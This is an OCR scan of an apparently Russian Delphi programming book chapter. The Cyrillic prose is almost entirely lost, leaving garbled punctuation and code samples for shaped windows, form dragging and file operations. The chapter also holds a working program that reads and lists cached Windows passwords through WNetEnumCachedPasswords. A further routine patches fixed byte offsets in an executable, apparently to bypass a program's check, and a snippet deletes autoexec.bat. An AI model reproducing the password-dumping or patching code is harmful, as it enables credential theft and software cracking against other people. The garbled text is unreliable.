FormRgn:HRGN;beginFormRgn:-CreateEllipticRgn(0,0,Width,Height);SetWindowRgn(Handle,ForraRgn, True) ;end;

. .8.

, (. 3.8). -? . oncreate WinAPI-: CreateEllipticRgn SetWindowRgn. :

CreateEllipticRgn(NLeftRect:Integer, // nTopRect:Integer, //nRightRect:Integer, //nBottoraRect: Integer //

): HRGN;

. -

.

SetWindowRgn(HWnd: HWND, // HRgn: HRGN, // BRedraw:Boolean // ):Integer; -

, .

true, -, .

99

- \\ 3\Ellipse Window - .

.

, . Windows -, .

,

Handle, , - TWinControl. Standard -, .

. -

:

procedure TForml.FormCreate(Sender: TObject);var

FormRgn:HRGN;begin

FormRgn:=CreateEllipticRgn(2,2,Memol.Width,Meraol.Height);SetWindowRgn(Memol.Handle,FormRgn,True);

end; -

Memol. Handle Memol. . . 3.9.

Fgrni!

1995- ,> ,

.,

) 1 ?

. 3.9. Memol

- \\ 3\Ellipse Memo .

100 3

. :

procedure TForml.FormCreate(Sender: TObject);var

FormRgn,EllipseRgn:HRGN;beginEllipseRgn:=CreateEllipticRgn(O,0,Width,Height);FormRgn:=CreateRectRgn(round(Width/4) , round(Height/4) ,

round(3*Width/4),round(3*Height/4) ) ;

CombineRgn(EllipseRgn,EllipseRgn,FormRgn,RGN_DIFF);SetWindowRgn(Handle,EllipseRgn, True) ;

end;

. -

EllipseRgn. WiiiAPI- createRectRgn. , . -

FormRgn.

combineRgn. : , .

, -

HRGN.

, .

, .

. :

RGN_ AN ; RGN_COPY ;

RGN_DIFF ;

RGM_OR ;

RGNXOR , .

RGN_DIFF, . EllipseRgn, - . . 3.10 .

- \\ 3\Eilipse Window2 - .

101

. 3.10.

, .

. Timage. - (, bmp), , . . .

"".

, .

( -).

. 3 . 1 1 .

Timage ( vis ible false). , . ,

, , ,

.

FormCreate - :

procedure T Form!.. FormCreate (Sender: TObject) ;

102 3

WindowRgn: HRGN;beginBorderStyle := bsNone;Clier.tWidth := Imagel. Picture.Bitmap.Width;ClientHeight := Imagel.Picture.Bitmap.Height;windowRgn :~ CreateRgnFromBitmap(Imagel.Picture.Bitmap);SetWindowRgn(Handle, WindowRgn, True);end; bsNone, . -

.

.

CreateRgnFromBitmap ( - ). , windowRgn. API- SetWindowRgn, -.

CreateRgnFromBitmap. - , , -

. -

bnip- ( 3.11). , - .

3.11.

function CreateRgnFromBitmap(rgnBitmap: TBitmap): HRGN;var

TransColor: TColor;i, j: Integer;i width, i^ height: Integer;i_left, i right: Integer;rectRgn; HRGN;

beginResult := 0;

// i_width := rgnBitmap.Width;i_height : = rgnBitmap.Height;

//

1_03_

transColor := rgnBitmap.Canvas.Pixels[0, 0];

// // for i := 0 to i_height - 1 dobegini_left := -1;

// for j :== 0 to i_width - 1 dobeginif i_left < 0 thenbeginif rgnBitmap.Canvas.Pixels[j, i] transColor theni_left :=* j;

endelseif rgnBitmap.Canvas.Pixels[j, i] = transColor thenbegini_right := j;rectRgn := CreateRectRgn(i_left, i, i_right, i + 1) ;if Result = 0 thenResult := rectRgnelsebeginCombineRgn(Result, Result, rectRgn, RGN_OR);DeleteObject(rectRgn);end;i__left := -1;end;

end;if i_left >= 0 thenbeginrectRgn := CreateRectRgn(i_left, i, i_width, i + 1);if Result = 0 thenResult := rectRgnelsebeginCombineRgn(Result, Result, rectRgn, RGN_OR);

104 3

DeleteObject(rectRgn);end;

end;

end ;

end;

FormCreate. -

, , .

, -

.

. ,

.

, ,

. .

private :private{ Private declarations }Dragging : Boolean;OldLeft, OldTop: Integer;

Dragging . - OldLeft OldTop . oncreate - Dragging false, true .

onMowseDown :

procedure TForml.FormMouseDown(Sender: TObject; Button: TMouseButton;Shift: TShiftState; X, Y: Integer);

beginif button=mbLeft thenbeginDragging := True;OldLeft := X;OldTop :- Y;end;

end;

105

: , - Dragging true , .

onMowseMove -:

procedure TForrnl. FomMouseMove (Sender: TObject; Shift: TShiftState; X,Y: Integer) ;

beginif Dragging thenbeginLeft := Left+X-OldLeft;Top := Top+Y-OldTop;end;

end;

: Dragging true, , .

onMouseup :Dragging := False.

, Dragging false .

9 Unili j

. ' ' TransColor: TColor;i, ;) : Integer;i width, i height: Integer;i_left, -^'-rectRgn:

.; -Tn, . JPv' for S^^^K h

; . i left := -1; ' for j := 0 to i

I begin * if i__left < 0

begin

Integer;

lap.Uiuth;|. Height;. Canvas. Pixels [0, 0] ;]^H- 1 do

HIwidth - 1 do

then

. 3 . 1 2 .

. 3.12 . ,

106 3

. , ,

"" .

12 13 15 1G

: 30.11.2002

23 24

. 3.13.

. 3.13. ( ). , , . ,

- .

- \\ 3\Cool Window .

3.9. Windows 9x , . ,

,

. Windows API -, .

Windows .

NT/2000/XP , . -

, Windows 98 - . , -

, Windows , 2000/., , -

. . 3.14 . ListBox, .

107

3.14.

3.12.

unit Unitl;

interface

Windows, SyslJtils, Classes, Forms, Shell API, Controls, StdCtrls;

typeTForml = class(TForra)ListBox: TListBox;procedure FormShow(Sender: TObject);

private{ Private declarations )

publichMPR: THandle;

end ;

var

Foml: TForml;

const

Count: Integer = 0;

function WNetEnumCachedPasswords dp: lpStr; w: Word; b: Byte; PC: PChar;dw: DWord): Word; stdcall;

impleTnentation

108 3

f$R +.DFM}function WNetEnumCachedPasswordsdp: lpStr; w: Word; b: Byte; PC: PChar;dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

typePWinPassword = "TWinPassword;TWinPassword = recordEntrySize: Word;ResourceSize: Word;PasswordSize: Word;Entrylndex: Byte;EntryType: Byte;PasswordC: Char;end;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool;stdcall;var

Password: String;PC: ArrayfO..$FF] of Char;

begininc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize) ;PCfWinPassword.ResourceSize] := #0;CharToOem(PC, PC);Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize +WinPassword.ResourceSize);Move(PCfWinPassword.ResourceSize], PC, WinPassword.PasswordSize);PC[WinPassword.PasswordSize] := #0;CharToOemfPC, PC);Password := Password + ': ' + StrPas(PC);

Forml.ListBox.Items.Add(Password);Result := True;

end;

109

procedure TForml.FormShow(Sender: TObject);beginif WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) 0 thenbeginApplication.MessageBox(' .', 'Error',

mb__0k or mb_IconWarning) ;Application.Terminate;endelse

if Count = 0 thenList3ox.Items.Add(' ');

end;

end.

oncreate - WKetEnumCachedPasswords, , -

.

, .

. , :

function WNetEnumCachedPasswords(lp: lpStr;w: Word;b: Byte;PC: PChar;dw: Dword): Word; stdcall;

,

:

function WnetEnumCachedPasswords // (lp: lpStr; // NILw: Word; // 0b: Byte; // SFFPC: PChar; // , dw: DWord): Word; // 0external mpr // DLL- name 'WNetEnumCachedPasswords1; // DLL-.

110 3

.

, , :

function AddPasswordZ/ , .(WinPassword: PWinPassword; // WinPassworddw: Dword // }: LongBool; stdcall; , WinPassword. , ,

type:typePWinPassword = ''TWinPassword;TWinPassword = recordEntrySize: Word;ResourceSize: Word;PasswordSize: Word;EntryIndex: Byte;EntryType: Byte;

PasswordC: Char;end;

Passwordc , -. ResourceSize , a PasswordSize .

, , , DOS-. , Windows-. charToOem. , , .

- \\ 3\Password .

3.10. -

. -

,

. -

, , .

. ,

.

,

111

, . , -

,

, .

, ,

. , .

, :

- XXXXX.EXE:

009 - 74

OAC0FE - 74

? , .

,

. , .

, . -

, , -

- (, ). - , , -

. -

, .

DOS Navigator - . - ,

.

D:\WINNT\5ystem32\cmd.eKe >^

. 3.15. DOS Navigator

112 3

-

. ,

. . , -

, .

, ,

. DOS Navigator . - . . :

009 - 74

0AC0FE - 74

:

1. , ();2. , (74);3. , (), . ? . , DOSNavigator . , .

,

( 74, ). , ,

. , -

.

,

.

, ,

. , .

, .

- ,

Windows - .

, ? .

. -

, ,

.

,

. ,

.

113

Delphi. - , .

. , .

. 3.16.

. 3.16.

.

, Delphi Onclick. :

|1||||^ |||| procedure TForml.ButtonlClick(Sender: TObject);var

f:TFileStream;s: byte;begin// f:=TFileStream.Create('xxx.exe', fmOpenReadWrite);

// f.Seek($0AC0E9, soFromBeginning);

// f.Read(s, sizeof(s)) ;

// $74,

114 3

if s=$74 thenbegin

// f.Seek($0ACOE9, soFromBeginning);// ,f.Write(s, sizeof(s));

end;

// , f.Seek($0AC0FE, soFromBeginning};f.Readfs, sizeof(s));if s=$74 thenbegins:=$EB;f.Seek($0AC0FE, soFromBeginning) ;f.Write(s, sizeof(s));end;

// f.Free;

end;

end.

, F Tniestream. , .

(F:=TFileStream. Create), Create TFileStream. .

1. .2. . fmOpenReadwrite, -

, .

F - . -

.

seek. . , , .

, .

115

. soFromBeginning , - .

F.seek . , .

Read. -.

1. , .2. , . . ,

.

,

.

seek. write, .1. , . -

s, .

2. ., . -

.

TFiiestream. WinAPI? , ; , . -, . ? - .

: _fcreat, _fseek,fread . . C r e a t e F i l e , S e t F i l e P o i n t e r ,

writeFiLe. writeFiieEx . MS API-Windows, , - -. , Microsoft ? ? !!! TFiiestream .

WinAPI , , ,

Delphi. , , -

. ,

.

,

116 3

. -

.

- -

, : , , -

. -

. , , -

, . ,

. ( ). , - , ,

. ,

.

- \\ 3\Patch .

3.11.

, -

. Delphi .DeleteFile( '); true, , false, .

DeieteFiie . ,

. ,

. , .

:

RemoveDir(' '); true, , false, .

, ,

. -

choir:01(' , '); , .

GetCurrentDir, , .

117

. , , -

:

FileExists(' '); , true, false. :DirectoryExists( ' ' ); , true, false. :

beginChDir(4c:\');if FileExists{'autoexec.bat') thenDeleteFile('autoexec.bat');

end; .

: autoexec.bat, .

Delphi ,

. Delphi - ,

. .

procedure CopyFile(const FileName, DestName: string);var

CopyBuffer: Pointer;BytesCopied: Longint;Source, Dest: Integer;Len: Integer;Destination:

constChunkSize: Longint - 8192;

beginDestination := ExpandFileName(DestName);if HasAttr(Destination, faDirectory) thenbeginLen := Length(Destination);

118 3

if Destination[Len] = '\' thenDestination := Destination + ExtractFileNair.e {FileName}

elseDestination := Destination + '\' + ExtractFileName(FileName);

end;GetMeiniCopyBuffer, ChunkSizo) ;trySource;-FileOpen(FileName, fmShareDenyWrite);// -if Source < 0 thenraise EFOpenError.CreateFmt(SFOpenError, [FileName]);

try

Dest := FileCreate(Destination); // -if Dest < 0 thenraise EFCreateError.CreateFmt(SFCreateError, [Destination]);try

repeat

// BynesCopied:=FileRead(Source,CopyBuffer",ChunkSize);if BytesCopied > 0 then // , ...// -FileWrite(Dest, CopyBuffar"f BytesCopied);

until BytesCopied < ChunkSize;finally

FileClose(Dest) ;end;

finallyFileClose(Source) ;

end;finallyFreeMem(CopyBuffer, ChunkSize);

end;end;

. : , . . -

( , ) ,

.

. ,

119

. , -

. , -

8 192 . , -

. ,

.

. , -

. , -

.

F i l e E x i s t s .

( 3.14).

1 3.14.

procedure MoveFile(const FileName, DestName: string);var

Destination: string;beginDestination := ExpandFileName(DestName);if not RenameFile(FileName, Destination) thenbeginif HasAttr(FileName, faReadOnly) thenraise EFCantMove.Create('He ');CopyFile(FileName, Destination);DeleteFile(FileName);

end;end;

:

. -

.

, , - -

-

.

,

, CopyFile, , , .

-

( 3.15).

120 3

| | 3 . 1 5 . ^ 7 ^ " 7function ExecuteFile(const FileName, Params, DefaultDir: string;ShowCmd: Integer): THandle;

var

zFileName, zPararas, zDir: array[0..79] of Char;beginResult := ShellExecute(Application.MainForm.Handle, nil,StrPCopy(zFileName, FileName), StrFCopy(zParams, Params),StrPCopy(zDir, DefaultDir}, ShowCmd);

end;

, .

uses sheiiAPi, - .

.

, , .

, (, - ).

, .

, ,

.

G . -, ShowWindow.

:

ExecuteFile('C:\Program.exe','',':\',SW_SHOW); Internet Explorer ( , ) -:

E x e c u t e F i l e ( ' h t t p : //www. c y d s o f t . / v r - o n l i n e ' , ' ' , ' ' , SW__SHOW) ;

,

:

ExecuteFile('MailTo:vr_onlone@cydsoft.com','','',SW_SHOW); ShellExecute . 2.5, , . ,

pchar, - , ExecuteFile .

121

,

, ,

.

SHFileOperation. Windows , - , .

, .

. :

ShellTreeView ShellListView. ShellTreeView sheliListview ShellListView, . ShellListView Mutiseiect true, . , :

, , , . -

. 3.17.

/

'0 +' Q '. |3 +. * 3

:gi

InternetExplorer

. 3.17.

uses : sheiiAPi F i l e C t r l . SHFileOperation. Selec tDirec tory , - . ,

, -

.

private :private{ Private declarations }

122 3

function DoSHFileOp(Handle: THandie; OpMode: UTnt; Src,Dest: string; DelRicleBin: Boolean): Boolean;

: , -

. ++, . ( 3.16).

3.16.

function TForml.DoSHFileOp(Handle: THandie; OpMode: UInt; Src,Dest: string; DelRicleBin: Boolean): Boolean;

var

Ret: integer;ipFileOp: TSHFileOpStruct;beginScreen.Cursor:=crAppStart;FiliCharfipFileOp, SizeOf(ipFileOp) , 0) ;with ipFileOp dobeginwnd : = Handle;wFunc := OpMode;pFrora := pChar(Src);pTo := pChar(Dest);if DelRicleBin thenfFlags : = FOF_ALLOWUNDOelsefFlags := FOFJTOCONF1RMMKDIR;fAnyOperationsAborted := False;hNameMappings := nil;ipszProgressTitle := '';end;try

Ret := SHFileOperation (ipFileOp);exceptRet := 1;end;result := (Ret = 0);Screen.Cursor:=crDefault,end;

123

sHFiieOperation TSHFiieopstruct. ipFiieop. ,

Fiiichar, . - , .

wnd , - (, , ).

wFunc , . - .

pFrom -, . -, .

fFiags . true, FOF_ALLOWUNDO. , - .

FOF_NOCONFIRMMKDIR, , -

. ( -, , "+"): FOF_FILESONLY , -

( *.*); FOF__NOCONFIRMATION

(, ); FOFJSILENT ;

FOF_SIMPLEPROGRESS , .

lpszProgressTitie , - .

fAnyoperationsAborted true, - .

var implementation :

constFileOpMode: array[0..3] of UInt =

(FO_COPY, FO_DELETE, F0__MOVE, FO_RENAME); .

:

FO_COPY ;

FO_D2LETE ;

5 . 9"8

124 3

D FO_MOVE ; FO_RENAME .

.

onclick . ( 3.17).

procedure TForml.CopyButtonClick(Sender: TObject);var

FSrc,FDes,FPath: string;i:Integer;beginFDes :=

if ShellListViewl.Selected=nil thenexit;

if not SelectDirectory('Select Directory', '', FDes) thenexit;

FPath:=ShellTrseViewl.Path;if FPath[Length(FPath)]'\' thenFPath:=FPath+'\';FSrc := ";

for i := 0 to ShellListViewl.items.Count-1 doif (ShellListViewl.items.itemfi].Selected) thenbeginFSrc:=FSrc+ShellListViewl.Folders[ShellListViewl.Items.Item[I].Index].PathName+#0;ShellListViewl.items.item[i].Selected:=false;end;

FSrc:=FSrc+#0;

DoSHFileOp(Handle, FileOpMode[0], FSrc, FDes, false);end;

125

, ,

- . , ,

.

:

if ShellListViewl.Selected=nil thenexit;

,

.

SelectDirectory. , .

. 3.18.

Select Directory

'. '{,.)

^ 3,5 (;)

& *** Data (D:):*i :

FPath:=ShellTreeViewl.Path;if FPath[Length(FPath)]'\' thenFPath:=FPath+'V;

, .

- , FSrc, #. - .

, ,

.

126 3

FSrc . , ##, :

for i := 0 to ShellListViewl.items.Count-1 doif (ShellListViewl.items.item[i].Selected) thenbeginFSrc:=FSrc+ShellListViewl.Folders[ShellListViewl.Items.Item[I].Index].PathName+#0;ShellListViewl.items.item[i].Selected:-false;end;

FSrc:-FSrc+#0; DoSHFiieop, - .

, FileOpModefO], FOCOPY. ( ). . -

onclick ( 3.18).

procedure TForml.MoveButtonClickfSender: TObject);var

FSrc,FDes,FPath: string;i:Integer;beginFDes :=

if ShellListViewl.Selected=nil thenexit;

if not SelectDirectory('Select Directory', '', FDes) thenexit;

FPath:=ShellTreeViewl.Path;if FPath[Length(FPath)]'\f thenFPath:=FPath+'\';FSrc := '';

127

for i := 0 to ShellListViewl.items.Count-1 doif (ShellListViewl.items .item[il.Selected) thenbeginFSrc:=FSrc+ShellListViewl.Folders[ShellListViewl.Iterns.Item[I].Index].Pathname+#0;ShellListViewl.items.item[i].Selected:=false;end;

FSrc:=F3rc+#0;

DoSHFileOp(Handle, FileOpMode[21, FSrc, FDes, false);end;

, .

DoSHFiieOp, FileOpMode [2], . - , ,

, .

(- 3.19).

1 3.19.

procedure TImageViewer.DelFilesActionExecute{Sender: TObject)var

i: integer;DelFName: string;beginif SheilListViewl.Selected=nil thenexit;

if FilesListView.isEditing thenexit ;

DelFName:='';for i := 0 to FilesListView.items.Count-1 doif (FilesListView.items.item[i].Selected) thenbegin

128 3

DeiFName:==DelFName+FilesListView.Folders[FilesListView.Items,Itemfl]-Index].PathName+#O;FilesListView.items.item[i].Selected:=false;end;

DelFName:=DelFName+#O;

DoSHFileOp{Handle, FO__DELETE, DelFName, DelFName, false) ;end;

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1. , - - FilesListView. isEditing. , .

2. DoSHFiieOp - FODELETE, FiieOpMode[i], .

(- 3.20).

,,

procedure TForml.PropertiesButtonClick(Sender: TObject);var

FPath, FSrc:String;i:Integer;beginif ShellListViewl.Selected=nil thenexit;

SHObjectProperties(Handle, S02,PWideChar(WideString(ShellListViewl.Folders[ShellListViewl.Selected.Index].PathName)), nil);

end;

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SHObjectProperties, . 4 .

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SHObjectProperties, Delphi . standardDiaiogs.pas (- 3.21).*."* if- F'P' "

unit StandardDialogs;

130 3

interface

uses

Windows, Messages, SHIObj;

constRFFJJOBROWSE = $01;RFF_NODEFAULT = $02;RFF_CALCDIRECTORY = $04;RFF_NOLABEL = $08;RFF__NOSEPARATEMEM = $20;

//Notification Return Values//Allow the Application to run.RFjDK = $00;//Cancel the operation and close the dialog.RF_CANCEL = $01;//Cancel the operation, but leave the dialog open.RF__RETRY = $02;

//SHObjectProperties FlagsOPF__PRINTERNAME = $01;OPF_PATHNAME = $02;

typeNMJWNFILEDLG = r e c o r d

h d r : NMHDR;

lpFile: PChar;

ipDirectory: PChar;

nShow: Integer;

end;

TSHPicklconDlg = function(hwndOwner: HWND; lpstrFile: LPWSTR;var pdwBufferSize: DWord; var lpdwlconlndex: DWord): Boolean;

stdcall;

TSHRunFileDlg = procedure(hwndOwner: HWND; hlcon: HICON;ipstrDirectory, lpstrTitle, ipstrDescription: PChar;

131

Flags: longint); stdcall;

TSHRestartDlg = function(hwndOwner: HWND;

Reason: PAnsiChar; flag: longint): Longint; stdcall;

TSHExitWindowsDlg = procedurefhwndOwner: HWND); stdcall;

TSHFindComputer = function(pidlRoot,pidlSavedSearch: PItemlDList): Boolean; stdcall;

TSHFindFiles = function(pidlRoot,pidlSavedSearch: PItemlDList): Boolean; stdcall;

TSHObjectProperties = function(hwndOwner: HWND; uFlags:Integer; lpstrName, lpstrParameters: LPWSTR): Boolean; stdcall;

TSHOutOfMemoryMessageBox = function(Owner: HWND; Caption: Pointer;style: UINT): Integer; stdcall;

TSHHandleDiskFull = procedure(Owner: HWND; Drive: UINT); stdcall;

var

SHPicklconDlg: TSHPicklconDlg;SHHandleDiskFull: TSHHandleDiskFull;SHOutOfMemoryMessageBox: TSHOutOfMemoryMessageBox;SHObjectProperties: TSHObjectProperties;SHFindComputer: TSHFindComputer;SHFindFiles: TSHFindComputer;SHRunFileDlg: TSHRunFileDlg;SHRestartDlg: TSHRestartDlg;SHExitWindowsDlg: TSHExitWindowsDlg;

implementation

constDllName = 'Shell32.dll1;

var

hDll: THandle;

132 3

initializationhDll := LoadLibrary(DllName);if hDll 0 thenbegin// (rom) is load by ID really good?SHPicklconDlg := GetProcAddress(hDll, PChar(62));SHHandleDiskFull := GetProcAddress(hDll, PChar(185));SHOutOfMemoryMessageBox := GetProcAddress(hDll, PChar(126));SHObjectProperties := GetProcAddress(hDll, PChar(178));SHFindComputer := GetProcAddress(hDll, PChar(91)};SHFindFiles := GetProcAddress(hDll, PChar(90));SHRunFileDlg :*= GetProcAddress (hDll, PChar(61));SHRestartDlg := GetProcAddress(hDll, PChar(59));SHExitWindowsDlg := GetProcAddress(hDll, PChar(60));end

finalizationif hDll 0 thenFreeLibrary(hDll);

end.

uses standardDiaiogs - . .

- \\ 3\File Operation .

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